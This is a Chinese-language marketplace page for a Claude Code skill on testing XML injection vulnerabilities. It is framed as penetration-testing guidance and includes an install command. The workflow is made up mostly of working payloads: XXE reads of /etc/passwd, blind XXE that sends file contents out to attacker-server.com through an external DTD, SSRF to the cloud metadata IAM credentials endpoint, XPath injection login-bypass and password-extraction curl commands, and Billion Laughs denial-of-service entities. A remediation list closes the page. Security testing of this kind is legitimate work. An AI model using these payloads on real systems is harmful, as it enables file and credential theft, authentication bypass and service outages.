mcpField
T
testing-for-xml-injection-vulnerabilities

testing-for-xml-injection-vulnerabilities

github.com/mukul975安全35.2k248 次安装8 周前更新
代码仓库

关于 testing-for-xml-injection-vulnerabilities

面向应用安全测试人员的 XML 注入测试技能,适用于处理 XML 的服务、文件导入和 SAML 流程。涵盖 XXE、盲 XXE、XPath 注入及相关风险验证。

主要功能

  1. 01定位 XML 处理端点
  2. 02测试 XXE 文件读取
  3. 03通过带外交互检测盲 XXE
  4. 04检查 XXE 引发的 SSRF
  5. 05测试 XPath 注入与实体扩展

适用场景

  1. 01评估 SOAP 或 XML API
  2. 02测试 SAML 身份验证流程
  3. 03检查 XML 文件导入功能
  4. 04验证 SVG 上传的 XML 解析风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xml-injection-vulnerabilities

安装后在 Claude Code 中输入/testing-for-xml-injection-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

测试 XML 注入漏洞

何时使用

  • 在测试处理 XML 输入的应用程序时(SOAP API、XML-RPC、文件上传)
  • 在对带有 XML 解析器的应用程序进行渗透测试期间
  • 在评估基于 SAML 的认证实现时
  • 在测试处理 XML 格式的文件导入/导出功能时
  • 在对基于 SOAP 或 XML 的 Web 服务进行 API 安全测试期间

前提条件

  • 带 XML 相关扩展的 Burp Suite(Content Type Converter、XXE Scanner)
  • XMLLint 或类似的 XML 验证工具
  • 理解 XML 结构、DTD 和实体处理
  • Python 3.x 及 lxml 和 requests 库
  • 可访问带外交互服务器(Burp Collaborator、interact.sh)
  • 来自 PayloadsAllTheThings 仓库的示例 XXE 载荷

工作流

第 1 步 — 识别 XML 处理端点
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
第 2 步 — 测试基础 XXE(文件读取)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
第 3 步 — 使用带外检测测试盲 XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
  %xxe;
]>
<root><data>test</data></root>


<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
第 4 步 — 通过 XXE 测试 SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
第 5 步 — 测试 XPath 注入
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"

# XPath authentication bypass
curl -X POST http://target.com/login \
  -d "username=' or '1'='1&password=' or '1'='1"

# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"

# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
第 6 步 — 测试 XML Billion Laughs(DoS)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>

关键概念

概念描述
XXE(XML 外部实体)利用处理外部实体引用的 XML 解析器发起的攻击
盲 XXE响应未被回显的 XXE;需要带外通道
XPath 注入向用于导航 XML 文档的 XPath 查询注入
DTD(文档类型定义)定义 XML 文档结构和实体的声明
参数实体在 DTD 中用于盲 XXE 利用的特殊实体(%)
通过 XXE 的 SSRF利用 XXE 向内部资源发起服务器端请求
XML 炸弹通过递归实体扩展造成的拒绝服务(Billion Laughs)

工具与系统

工具用途
Burp Suite带 XXE Scanner 扩展的 HTTP 代理,用于自动化检测
XXEinjector自动化 XXE 注入与数据外泄工具
OXML_XXE用于将 XXE 载荷嵌入 Office XML 文档的工具
xmllint用于载荷测试的 XML 验证与解析实用工具
interact.sh用于盲 XXE 检测的带外交互服务器
Content Type Converter用于将 JSON 请求转换为 XML 以进行 XXE 测试的 Burp 扩展

常见场景

  1. 文件泄露 — 通过 XML 输入字段中的经典 XXE 实体注入读取敏感服务器文件(/etc/passwd、web.config)
  2. SSRF 访问云元数据 — 通过 XXE 访问 AWS/GCP/Azure 元数据端点,以窃取 IAM 凭证和访问令牌
  3. 盲数据外泄 — 当 XXE 输出未回显时,通过带外 DNS/HTTP 通道提取敏感数据
  4. SAML XXE — 在单点登录认证流程中向 SAML 断言注入 XXE 载荷
  5. SVG 文件上传 XXE — 上传包含 XXE 载荷的恶意 SVG 文件,以触发服务器端 XML 解析

输出格式

## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical

### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |

### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services

评论

支持 Markdown